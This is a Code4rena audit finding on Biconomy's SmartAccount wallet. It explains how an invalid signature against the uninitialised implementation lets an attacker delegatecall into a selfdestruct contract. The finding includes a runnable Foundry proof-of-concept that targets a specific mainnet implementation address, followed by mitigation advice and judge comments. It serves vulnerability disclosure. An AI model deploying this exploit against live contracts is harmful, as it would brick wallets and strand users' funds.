the implementation can be killed bricking all the smart wallets that use it as an implementation

[code423n4]

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L347
https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L350

Vulnerability details

Description

• If a signature is invalid ecrecover returns zero address.
• For an un initialised implementation of SmartAccount the owner will be zero.
• An attacker can provide an invalid signature to the implementation contract to execute a delegateCall to a killer contract as shown in POC.
• This leads to implementation contract being self destruct and thus bricking all the actual smartAccount proxies. This leads to every user of smart wallet not being able to do anything with their funds.

Impact

High

Proof of Concept

• Create a new foundry repo. Add below in test/kill.t.sol folder.
• The address mentioned the smart wallet implementation address. The code there is the same as the repo.
• Run forge test --fork-url https://polygon-mainnet.infura.io/v3/INFURA_ID -vvvv to see it.

// kill.t.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";

interface ISmartWallet {
    enum Operation {
        Call,
        DelegateCall
    }
    struct FeeRefund {
        uint256 baseGas;
        uint256 gasPrice; //gasPrice or tokenGasPrice
        uint256 tokenGasPriceFactor;
        address gasToken;
        address payable refundReceiver;
    }

    struct Transaction {
        address to;
        uint256 value;
        bytes data;
        Operation operation;
        uint256 targetTxGas;
    }

    function execTransaction(
        Transaction memory _tx,
        uint256 batchId,
        FeeRefund memory refundInfo,
        bytes memory signatures
    ) external payable returns (bool success);

    function owner() external view returns (address);

    function getChainId() external view returns (uint256);
}

contract Killer {
    fallback() external payable {
        selfdestruct(payable(address(this)));
    }
}

contract KillerTest is Test {
    Killer killer = new Killer();
    ISmartWallet smarWallet =
        ISmartWallet(0x1572bE4ca6EE072b3A3F82dCA003ED980ff98732);

    function setUp() public {}

    function testKill() public {
        ISmartWallet.Transaction memory transaction = ISmartWallet.Transaction({
            to: address(killer),
            value: 0,
            data: "",
            operation: ISmartWallet.Operation.DelegateCall,
            targetTxGas: 800000
        });
        uint256 batchId = 0;
        ISmartWallet.FeeRefund memory feeRefund = ISmartWallet.FeeRefund({
            baseGas: 0,
            gasPrice: 0,
            tokenGasPriceFactor: 0,
            gasToken: address(0),
            refundReceiver: payable(address(0))
        });
        bytes
            memory signatures = "0xa6331920bc843a17d2c944ae342abfa964666afed5897ff023a0f0871a73d62546b9c90702f08e3f739d7cd6841410071912b291bc0fb798e7da555197d022db1b"; //some invalid signature

        smarWallet.execTransaction(transaction, batchId, feeRefund, signatures);
    }
}

Tools Used

Manual Review

Recommended Mitigation Steps

• Make sure that address returned by ecrecover is non-zero and as an additional step initialise the implementation as soon as you deploy it.

[c4-judge]

gzeon-c4 marked the issue as duplicate of #496

[c4-sponsor]

livingrockrises marked the issue as sponsor confirmed

[c4-judge]

gzeon-c4 marked the issue as satisfactory